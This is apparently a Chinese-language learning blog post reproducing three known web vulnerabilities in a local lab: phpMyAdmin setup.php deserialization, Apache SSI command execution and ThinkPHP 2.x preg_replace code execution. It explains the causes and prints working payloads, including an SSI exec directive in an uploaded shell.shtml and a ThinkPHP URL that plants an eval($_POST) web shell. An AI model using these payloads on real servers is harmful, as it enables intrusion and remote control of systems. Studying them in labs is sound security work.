phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

漏洞原理:http://www.polaris-lab.com/index.php/archives/66/

根据提示我们先进入到 /scripts/setup.php 的目录下

由于 configuration 参数是可控的 所以我们可以根据 poc 或自行构造

然后这是我们序列化后的结果

然后就复现成功了

Apache SSI 远程命令执行漏洞(2019.11.27)

原理

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用<!--#exec cmd="id" -->语法执行命令。

什么是ssi

简单的来说ssi可以对静态的html网页进行动态的改动,我们通过在静态的html页面中插入不同的内容,如果不利用ssi的话我们需要对页面改变就需要重新生成所有的静态的html,但是如果有了ssi 的话服务器会根据嵌入文件自动生成网页,输出到浏览器,如要修改则只需要修改嵌入的文件

它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。

文章链接:https://blog.csdn.net/fdipzone/article/details/10820127

SHTML文件

.shtml 文件就是 html 文件加个 ssi

CGI支持

CGI是一个通用网关接口(CGI本身是一套协议和规范)

首先简单的说一下web server 和 web应用程序之间的关系,这两者的关系就像手机和手机应用程序一样。因为web server所处理的内容全部都是静态的,所以如果想要处理动态的内容需要CGI的支持(需要依赖web应用程序)web server 依赖CGI协议将动态的请求传给web应用程序进行处理,然后web应用程序处理完毕之后再通过cgi协议返回给web server(html静态页面)

这里由于我们是要访问上传的那个文件的,所以坑定是动态的请求,这一过程是需要交给web应用程序去处理的,然后web应用程序将处理后的结果返回给web server

这里我个人觉得我说的不够清楚我后面会继续进行修改

文章链接:https://www.jianshu.com/p/e5e471f368aa

https://blog.csdn.net/LiuNian_SiYu/article/details/60964966

最终结果如下图

我们通过上传 内容为

<!--#exec cmd="id" -->

的shell.shtml,然后访问文件地址可以发现成功

ThinkPHP 2.x 任意代码执行漏洞 (2019.11.28)

原理:

`preg_replace`的`/e`模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)

有漏洞的是这个文件/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

125 – $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=”\\2″;’, implode($depr,$paths));

125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=\’\\2\’;', implode($depr,$paths));

这是官方前后发布的补丁,我们可以看到官方把 \\2\两边的双引号变成了单引号

(这里我搜了好多有关于thinkphp 2.x rce但文章但是发现好像都很难找到了,所以这里有个疑问存留

如何知道是这个路径下的问题 是通过代码审计的嘛?

复现过程:

http://127.0.0.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`

既然我们都可以执行任意命令了何不来个shell呢?(奸笑

http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}

别的不多说了俺们直接蚁剑安排上!!

11-30 10:43